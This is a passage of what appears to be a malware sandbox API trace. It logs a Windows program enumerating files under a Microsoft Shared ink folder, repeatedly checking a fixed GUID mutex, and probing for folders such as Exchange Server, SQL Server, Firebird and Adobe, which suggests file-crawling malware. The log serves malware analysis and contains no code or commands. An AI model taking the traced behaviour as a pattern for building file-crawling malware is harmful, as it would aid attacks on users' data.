[0046.059] GlobalUnlock (hMem=0x44000c) returned 0 [0046.059] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.059] GlobalUnlock (hMem=0x440004) returned 0 [0046.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.060] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0046.060] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.060] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.060] GlobalLock (hMem=0x440004) returned 0x552180 [0046.060] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.060] GlobalUnlock (hMem=0x440004) returned 0 [0046.060] GlobalLock (hMem=0x440004) returned 0x552180 [0046.060] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.060] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.060] GlobalUnlock (hMem=0x440004) returned 0 [0046.060] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.060] GlobalUnlock (hMem=0x44000c) returned 0 [0046.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.060] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0046.060] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.060] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.060] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.060] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.060] GlobalUnlock (hMem=0x44000c) returned 0 [0046.060] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.060] GlobalLock (hMem=0x440004) returned 0x554190 [0046.060] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.060] GlobalUnlock (hMem=0x44000c) returned 0 [0046.060] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.060] GlobalUnlock (hMem=0x440004) returned 0 [0046.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.060] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0046.060] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.061] GlobalLock (hMem=0x440004) returned 0x552180 [0046.061] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.061] GlobalUnlock (hMem=0x440004) returned 0 [0046.061] GlobalLock (hMem=0x440004) returned 0x552180 [0046.061] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.061] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.061] GlobalUnlock (hMem=0x440004) returned 0 [0046.061] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.061] GlobalUnlock (hMem=0x44000c) returned 0 [0046.061] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.061] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0046.061] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.061] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.061] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.061] GlobalUnlock (hMem=0x44000c) returned 0 [0046.061] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.061] GlobalLock (hMem=0x440004) returned 0x554190 [0046.061] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.061] GlobalUnlock (hMem=0x44000c) returned 0 [0046.061] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.061] GlobalUnlock (hMem=0x440004) returned 0 [0046.061] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.061] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0046.061] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.061] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.061] GlobalLock (hMem=0x440004) returned 0x552180 [0046.062] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.062] GlobalUnlock (hMem=0x440004) returned 0 [0046.062] GlobalLock (hMem=0x440004) returned 0x552180 [0046.062] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.062] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.062] GlobalUnlock (hMem=0x440004) returned 0 [0046.062] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.062] GlobalUnlock (hMem=0x44000c) returned 0 [0046.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0046.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.062] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.062] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.062] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.062] GlobalUnlock (hMem=0x44000c) returned 0 [0046.062] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.062] GlobalLock (hMem=0x440004) returned 0x554190 [0046.062] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.062] GlobalUnlock (hMem=0x44000c) returned 0 [0046.062] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.062] GlobalUnlock (hMem=0x440004) returned 0 [0046.062] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0046.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.062] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.062] GlobalLock (hMem=0x440004) returned 0x552180 [0046.062] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.062] GlobalUnlock (hMem=0x440004) returned 0 [0046.062] GlobalLock (hMem=0x440004) returned 0x552180 [0046.062] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.062] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.063] GlobalUnlock (hMem=0x440004) returned 0 [0046.063] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.063] GlobalUnlock (hMem=0x44000c) returned 0 [0046.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.063] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0046.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.063] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.063] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.063] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.063] GlobalUnlock (hMem=0x44000c) returned 0 [0046.063] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.063] GlobalLock (hMem=0x440004) returned 0x554190 [0046.063] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.063] GlobalUnlock (hMem=0x44000c) returned 0 [0046.063] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.063] GlobalUnlock (hMem=0x440004) returned 0 [0046.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.063] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.063] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.063] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.063] GlobalLock (hMem=0x440004) returned 0x552180 [0046.063] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.063] GlobalUnlock (hMem=0x440004) returned 0 [0046.063] GlobalLock (hMem=0x440004) returned 0x552180 [0046.063] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.063] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.063] GlobalUnlock (hMem=0x440004) returned 0 [0046.063] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.063] GlobalUnlock (hMem=0x44000c) returned 0 [0046.063] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0046.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.064] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.064] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.064] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.064] GlobalUnlock (hMem=0x44000c) returned 0 [0046.064] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.064] GlobalLock (hMem=0x440004) returned 0x554190 [0046.064] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.064] GlobalUnlock (hMem=0x44000c) returned 0 [0046.064] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.064] GlobalUnlock (hMem=0x440004) returned 0 [0046.064] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.064] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0046.064] GetLastError () returned 0x12 [0046.064] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.064] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0046.064] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.064] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.065] GlobalLock (hMem=0x440004) returned 0x551178 [0046.065] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.065] GlobalUnlock (hMem=0x440004) returned 0 [0046.065] GlobalLock (hMem=0x440004) returned 0x551178 [0046.065] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.065] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.065] GlobalUnlock (hMem=0x440004) returned 0 [0046.065] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.065] GlobalUnlock (hMem=0x44000c) returned 0 [0046.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.065] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.065] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.065] GlobalUnlock (hMem=0x44000c) returned 0 [0046.065] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.065] GlobalLock (hMem=0x440004) returned 0x553188 [0046.065] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.065] GlobalUnlock (hMem=0x44000c) returned 0 [0046.065] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.065] GlobalUnlock (hMem=0x440004) returned 0 [0046.065] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.065] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 1 [0046.065] GlobalLock (hMem=0x440004) returned 0x551178 [0046.065] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.065] GlobalUnlock (hMem=0x440004) returned 0 [0046.065] GlobalLock (hMem=0x440004) returned 0x551178 [0046.065] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.065] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.065] GlobalUnlock (hMem=0x440004) returned 0 [0046.065] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.065] GlobalUnlock (hMem=0x44000c) returned 0 [0046.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.066] GetLastError () returned 0x3 [0046.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.066] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18㽜Q\x181")) returned 0xffffffff [0046.067] GetLastError () returned 0x2 [0046.067] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.067] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뾴R企@\x18?T\x18;")) returned 0xffffffff [0046.067] GetLastError () returned 0x2 [0046.067] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.067] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0046.068] GetLastError () returned 0x2 [0046.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18뾴R\x18j")) returned 0xffffffff [0046.068] GetLastError () returned 0x2 [0046.068] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, 